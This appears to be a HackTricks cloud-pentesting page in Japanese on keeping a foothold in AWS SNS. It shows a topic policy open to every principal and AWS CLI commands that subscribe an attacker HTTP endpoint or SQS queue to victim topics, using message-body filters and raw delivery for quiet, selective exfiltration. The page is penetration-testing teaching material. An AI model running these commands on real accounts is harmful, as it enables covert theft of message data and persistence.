# AWS - SNS 永続化

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

詳細は次を参照:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### 永続化

**SNS topic** を作成する際、IAM policy で **誰が読み書きできるか** を指定する必要があります。外部アカウント、ARN of roles、または **"\*"** を指定することも可能です。\
次のポリシーは、**`MySNS.fifo`** という SNS topic に対して AWS 内のすべてのユーザーに読み書きアクセスを与えます:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### サブスクライバーの作成

すべてのトピックからのメッセージを引き続き持ち出すため、攻撃者は **すべてのトピックに対してサブスクライバーを作成することができる**。

トピックが **FIFO タイプ** の場合、プロトコルが **SQS** のサブスクライバーのみ使用できることに注意してください。
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
### 隠密で選択的な exfiltration（FilterPolicy を MessageBody に対して使用）

あるトピックに対して `sns:Subscribe` と `sns:SetSubscriptionAttributes` を持つ攻撃者は、JSON ボディが非常に狭いフィルタ（例: `{"secret":"true"}`）に一致するメッセージのみを転送するステルスな SQS サブスクリプションを作成できます。これにより通信量と検出のリスクが低減され、機密レコードの exfiltration が可能になります。

**潜在的な影響**: 被害者トピックからターゲットとなる SNS メッセージのみを低ノイズで隠密に exfiltration する。

手順 (AWS CLI):
- 攻撃者の SQS キュー ポリシーが被害者の `TopicArn` からの `sqs:SendMessage` を許可していることを確認する（Condition `aws:SourceArn` が `TopicArn` と等しい）。
- トピックに対して SQS subscription を作成:

```bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
```

- フィルタを MessageBody に対して動作させ、`secret=true` のみをマッチさせる:

```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
```

- オプション（ステルス）: RawMessageDelivery を有効にして、受信側に生のペイロードのみを届ける:

```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
```

- 検証: 2 件のメッセージを publish し、攻撃者キューに届くのが最初のメッセージのみであることを確認する。例のペイロード:

```json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
```

- クリーンアップ: 永続化テストのために作成した場合は、サブスクリプションを解除し攻撃者の SQS キューを削除する。

{{#include ../../../../banners/hacktricks-training.md}}
